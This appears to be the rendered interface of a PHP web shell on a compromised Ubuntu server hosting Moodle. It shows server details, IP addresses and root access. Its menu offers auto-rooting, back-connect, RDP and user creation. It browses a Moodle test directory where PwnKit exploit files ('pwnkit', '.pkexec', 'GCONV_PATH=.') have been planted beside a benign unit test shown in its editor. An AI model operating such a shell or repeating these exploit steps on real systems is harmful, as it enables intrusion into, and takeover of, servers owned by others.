Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
lib /
table /
tests /
local /
filter /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
filter_test.php
11.08
KB
-rwxrwxrwx
filterset_test.php
19.63
KB
-rwxrwxrwx
integer_filter_test.php
3.5
KB
-rwxrwxrwx
numeric_comparison_filter_test...
10.5
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
string_filter_test.php
3.51
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : string_filter_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Unit tests for core_table\local\filter\string_filter. * * @package core_table * @category test * @copyright 2020 Simey Lameze <simey@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU Public License */ declare(strict_types=1); namespace core_table\local\filter; use advanced_testcase; use TypeError; /** * Unit tests for core_table\local\filter\string_filter. * * @package core_table * @category test * @copyright 2020 Simey Lameze <simey@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class string_filter_test extends advanced_testcase { /** * Ensure that the add_filter_value function works as expected with valid values. */ public function test_add_filter_value_string(): void { $filter = new string_filter('example'); // Initially an empty list. $this->assertEmpty($filter->get_filter_values()); // Adding a value should return that value. $filter->add_filter_value('apple'); $this->assertSame([ 'apple', ], $filter->get_filter_values()); // Adding a second value should add that value. // The values should sorted. $filter->add_filter_value('pear'); $this->assertSame([ 'apple', 'pear', ], $filter->get_filter_values()); // Adding a duplicate value should not lead to that value being added again. $filter->add_filter_value('apple'); $this->assertSame([ 'apple', 'pear', ], $filter->get_filter_values()); } /** * Ensure that the add_filter_value function rejects invalid types. * * @dataProvider add_filter_value_invalid_types_provider * @param mixed $value * @param string $type */ public function test_add_filter_value_type_invalid($value, string $type): void { $filter = new string_filter('example'); // Adding empty string is not supported. $this->expectException(TypeError::class); $this->expectExceptionMessage("The value supplied was of type '{$type}'. A string was expected."); $filter->add_filter_value($value); } /** * Data provider for add_filter_value tests with invalid types. * * @return array */ public function add_filter_value_invalid_types_provider(): array { return [ 'Null' => [null, 'NULL'], '1' => [1, 'integer'], '2' => [2, 'integer'], 'Float 1.0' => [1.0, 'double'], 'Float 1.1' => [1.1, 'double'], 'bool' => [false, 'boolean'], 'array' => [[], 'array'], 'stdClass' => [(object) [], 'stdClass'], // Note: The comparison value will be a fully-qualified class name. 'Class' => [new filter('example'), filter::class], ]; } }
Close